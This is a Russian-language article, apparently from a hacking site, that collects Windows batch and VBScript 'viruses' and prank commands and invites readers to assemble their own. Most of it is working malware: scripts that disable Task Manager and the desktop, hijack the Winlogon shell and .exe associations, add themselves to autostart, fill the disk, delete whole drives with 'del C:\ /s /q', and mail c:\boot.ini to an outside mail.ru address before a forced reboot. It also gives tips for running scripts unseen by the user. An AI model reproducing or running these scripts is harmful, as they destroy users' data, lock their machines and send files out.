reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoChangeStartMenu /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyDocs /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyPictures /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMyMusic /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
echo set application=createobject("shell.application")>>%temp%\temp.vbs
echo application.minimizeall>>%temp%\temp.vbs
reg add "hklm\Software\Microsoft\Windows\CurrentVersion\run" /v SwapNT /t REG_SZ /d rundll32 user32, SwapMouseButton /f
start rundll32 user32, SwapMouseButton
reg add "HKCR\exefile\shell\open\command" /ve /t REG_SZ /d rundll32.exe /f
echo i=50 >> %temp%\temp.vbs
echo while i^>0 or i^<0 >> %temp%\temp.vbs
echo S.popup "forum.whack.ru",0, "forum.whack.ru",0+16 >> %temp%\temp.vbs
echo i=i-1 >> %temp%\temp.vbs
echo wend >> %temp%\temp.vbs
echo do >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{capslock}" >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{numlock}" >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{scrolllock}" >> %temp%\temp.vbs
echo loop>> %temp%\temp.vbs
echo Set oWMP = CreateObject("WMPlayer.OCX.7") >> %temp%\temp.vbs
echo Set colCDROMs = oWMP.cdromCollection >> %temp%\temp.vbs
echo if colCDROMs.Count ^>= 1 then >> %temp%\temp.vbs
echo For i = 0 to colCDROMs.Count - 1 >> %temp%\temp.vbs
echo colCDROMs.Item(i).eject >> %temp%\temp.vbs
echo next >> %temp%\temp.vbs
echo End If >> %temp%\temp.vbs
echo Call SendPost("smtp.mail.ru", "forum.whack.ru@mail.ru", "[EMAIL]support@mail.ru[/EMAIL]", "...", "Копм заражен!") >> %temp%\temp.vbs
echo Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody) >> %temp%\temp.vbs
echo Set iMsg = CreateObject("CDO.Message") >> %temp%\temp.vbs
echo Set iConf = CreateObject("CDO.Configuration") >> %temp%\temp.vbs
echo Set Flds = iConf.Fields >> %temp%\temp.vbs
echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/sendusing[/URL]") = 2 >> %temp%\temp.vbs
echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/smtpauthenticate[/URL]") = 1 >> %temp%\temp.vbs
echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/sendusername[/URL]") = "support" >> %temp%\temp.vbs
echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/sendpassword[/URL]") = "support" >> %temp%\temp.vbs
echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/smtpserver[/URL]") = "smtp.mail.ru" >> %temp%\temp.vbs
echo Flds.Item("[URL]http://schemas.microsoft.com/cdo/configuration/smtpserverport[/URL]") = 25 >> %temp%\temp.vbs
echo Flds.Update >> %temp%\temp.vbs
echo iMsg.Configuration = iConf >> %temp%\temp.vbs
echo iMsg.To = strTo >> %temp%\temp.vbs
echo iMsg.From = strFrom >> %temp%\temp.vbs
echo iMsg.Subject = strSubject >> %temp%\temp.vbs
echo iMsg.TextBody = strBody >> %temp%\temp.vbs
echo iMsg.AddAttachment "c:\boot.ini" >> %temp%\temp.vbs
echo iMsg.Send >> %temp%\temp.vbs
echo End Function >> %temp%\temp.vbs
echo Set iMsg = Nothing >> %temp%\temp.vbs
echo Set iConf = Nothing >> %temp%\temp.vbs
echo Set Flds = Nothing >> %temp%\temp.vbs
echo s.run "shutdown -r -t 0 -c ""pcforumhack.ru"" -f",1 >> %temp%\temp.vbs
start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs
Вирус полностью блокирует систему при следующем запуске Windows.Даже в безопасном режиме, выключает диспетчер задач.Чтобы разблокировать компьютер можно введя код 200393!(Но он не разблокирует)
Код:
[USER=98981]@Echo[/USER] off
CHCP 1251
cls
Set Yvaga=На вашем компьютере найден вирус.
Set pass=Пароль
Set pas=Введите пароль.
Set virus=Чтобы разблокировать ПК вам потребуется ввести пароль
Set dim=Выключаю вирус...
title Внимание!!!
CHCP 866
IF EXIST C:\windows\boot.bat (
goto ok )
cls
IF NOT EXIST C:\windows\boot.bat (
ECHO Windows Registry Editor Version 5.00 >> C:\0.reg
ECHO. >> C:\0.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >> C:\0.reg
ECHO. >> C:\0.reg
ECHO "Shell"="Explorer.exe, C:\\windows\\boot.bat " >> C:\0.reg
start/wait regedit -s C:\0.reg
del C:\0.reg
ECHO [USER=98981]@Echo[/USER] off >>C:\windows\boot.bat
ECHO C:\WINDOWS\system32\taskkill.exe /f /im Explorer.exe >>C:\windows\boot.bat
ECHO reg add "HKCU\software\Microsoft\Windows\CurrentVersion\Policies\system" /v DisableTaskMgr /t REG_DWORD /d 1 /f >>C:\windows\boot.bat
ECHO start sys.bat >>C:\windows\boot.bat
attrib +r +a +s +h C:\windows\boot.bat
copy virus.bat c:\windows\sys.bat
attrib +r +a +s +h C:\windows\sys.bat
GOTO end)
:ok
cls
Echo %Yvaga%
echo.
echo %virus%
echo %pas%
set /a choise = 0
set /p choise=%pass%:
if "%choise%" == "101" goto gold
if "%choise%" == "200393" goto status
exit
:status
echo %dim%
attrib -r -a -s -h C:\windows\boot.bat
del C:\windows\boot.bat
attrib -r -a -s -h C:\windows\sys.bat
del C:\windows\sys.bat
cls
:gold
start C:\
:end
Добавляет программу в автозагрузку ОС
Код:
copy ""%0"" "%SystemRoot%\system32\File.bat"
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Filel" /t REG_SZ /d "%SystemRoot%\system32\File.bat" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
Этот вирус,блокирует все программы,но интернет работает.
Код:
[USER=98981]@Echo[/USER] off
Echo Virus Loading
Date 13.09.96
If exist c:ski.bat goto abc
Copy %0 c:ski.bat
Attrib +h c:ski.bat
Echo c:ski.bat >>autoexec.bat
:abc
md PRIDUROK
md LUZER
md DURAK
md LAMER
Label E: PRIDUROK
assoc .exe=.mp3
del c:Program Files/q
Echo VIRUS LOAD
[USER=98981]@Echo[/USER] off
chcp 1251
echo щаска...
color 4
[USER=98981]@Echo[/USER] Вас собирается ~CENS~: ZhenyaZERO
[USER=98981]@Echo[/USER] Автор вируса: ZhenyaZERO
[USER=98981]@Echo[/USER] Условия: если вам попался этот файл, сразу его удаляйте. Этот файл был создан исключительно для ютуба. Использование этого видео в других целях запрещено.
pause
echo Этап 1: Создание ограничений
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
[USER=98981]@Echo[/USER] off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ Хавно там всякое /F
del c:Program Files/q
taskkill /f /im explorer.exe >nul
echo Этап 2: Ща комп начнет глючить
Date 13.09.96
If exist c:ski.bat goto abc
Copy %0 c:ski.bat
Attrib +h c:ski.bat
Echo c:ski.bat >>autoexec.bat
:abc
md PRIDUROK
md LUZER
md DURAK
md LAMER
Label E: PRIDUROK
assoc .exe=.mp3
del c:Program Files/q
echo Set fso = CreateObject("Scripting.FileSystemObject") > %systemdrive%\windows\system32\rundll32.vbs
echo do >> %systemdrive%\windows\system32\rundll32.vbs
echo Set tx = fso.CreateTextFile("%systemdrive%\windows\system32\rundll32.dat", True) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs
echo FSO.DeleteFile "%systemdrive%\windows\system32\rundll32.dat" >> %systemdrive%\windows\system32\rundll32.vbs
echo loop >> %systemdrive%\windows\system32\rundll32.vbs
start %systemdrive%\windows\system32\rundll32.vbs
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /
echo Этап 3: Прощай, винда!
del C:\ /s /q
del D:\ /s /q
del I:\ /s /q
Вы можете менять названия программ, расширений, текст, коды и т. д. Если вам нужно, вы сможете собрать свой вирус (или прогу для троллинга) за несколько минут. Это не гайд по сборке вируса.
Я рассказал про наиболее интересные команды ОС Виндовс, но далеко не про все. Кого заинтересовал этот вопрос и кто хочет узнать больше может воспользоваться интернетом и поиском в системах Яндекс, Гугл и им аналогичных. Использование bat-файлов и подходящих редакторов с разметкой текста, а также интернет ресурсов позволяет весьма удобно программировать без среды разработки на любом языке.
Если Вам понравилась статья — поделитесь с друзьями
995 просмотров
Отказ от ответственности: Автор или издатель не публиковали эту статью для вредоносных целей. Вся размещенная информация была взята из открытых источников и представлена исключительно в ознакомительных целях а также не несет призыва к действию. Создано лишь в образовательных и развлекательных целях. Вся информация направлена на то, чтобы уберечь читателей от противозаконных действий. Все причиненные возможные убытки посетитель берет на себя. Автор проделывает все действия лишь на собственном оборудовании и в собственной сети. Не повторяйте ничего из прочитанного в реальной жизни. | Так же, если вы являетесь правообладателем размещенного на страницах портала материала, просьба написать нам через контактную форму жалобу на удаление определенной страницы, а также ознакомиться с инструкцией для правообладателей материалов. Спасибо за понимание.
Если вам понравились материалы сайта, вы можете поддержать проект финансово, переведя некоторую сумму с банковской карты, счёта мобильного телефона или из кошелька ЮMoney.
Некоторые bat-ники выполняют свою роль без каких-либо дополнительных действий, некоторые —
требуют прав администратора
при запуске, некоторые —
перезагрузку для применения изменений
. Также
не все они невидимы для антивируса
, некоторые — да, некоторые — нет.
Внизу буду указывать два параметра «(перезагрузка, админ)». Это означает, что для вступления изменений в силу нужно, чтобы bat запускался от имени администратора и, чтобы пользователь перезагрузил ПК.
Как запускать bat-ники максимально незаметно (без мелькания cmd)
Если нужно, чтобы bat-ник запускался максимально незаметно и не смущал пользователя появившейся командной строкой (на небольшое время, но это окно промелькнет), то самым простым решением будет данный vbs скрипт (скопировать в блокнот и сохранить как «Все файлы» с указание расширения vbs):
Код:
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "путь к bat-файлу", 0, false
Этот скрипт запустит bat-ник, который расположен по указанному пути.
Также не стоит забывать прописывать в начале каждого bat-ника:
Меняем местами значение кнопок мыши
Код:
@Echo off
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
Выключение
Код:
shutdown /p (немедленное выключение)
shutdown.exe -s -t 45 (выключение с задержкой, после -t время в секундах)
А если немного улучшить этот bat и добавить его в автозагрузку (команда есть ниже), то получится нечто веселое.
Перезагрузка
Отключение редактирования меню Пуск
Код:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoChangeStartMenu /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)
Отключение рабочего стола
Код:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)
Отключаем интернет
Код:
Ipconfig /release
Чтобы вернуть назад прописываем в cmd: IPconfig /renew
Меняем расширение всех ярлыков на txt
Добавление файла в автозагрузку
Код:
copy ""%0"" "путь к файлу"
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "имя в реестре(любое)" /t REG_SZ /d "путь к файлу" /f
Пример:
Код:
copy ""%0"" "C:\Users\user\Desktop\re.bat"
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Filel" /t REG_SZ /d "C:\Users\user\Desktop\re.bat" /f
(перезагрузка, админ)
Отключение диспетчера задач
Код:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)
Запрещаем запуск программ
Добавляйте свои по желанию
Код:
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v "2" /t reg_sz /d "exe-шник программы" /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v "DisallowRun" /t REG_DWORD /d "1" /f
Например, чтобы запретить запуск Chrome:
Код:
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v "3" /t reg_sz /d "chrome.exe" /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v "DisallowRun" /t REG_DWORD /d "1" /f
(перезагрузка, админ)
Запрещаем установку программ
Код:
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v "1" /t reg_sz /d "msiexec.exe" /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v "DisallowRun" /t REG_DWORD /d "1" /f
(перезагрузка, админ)
Убираем панель управления
Код:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
(перезагрузка, админ)
Отключить автозагрузку USB-устройств, приводов, съемных дисков, сетевых дисков
Код:
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v "NoDriveTypeAutoRun" /t REG_DWORD /d " 0xFF" /f
(перезагрузка, админ)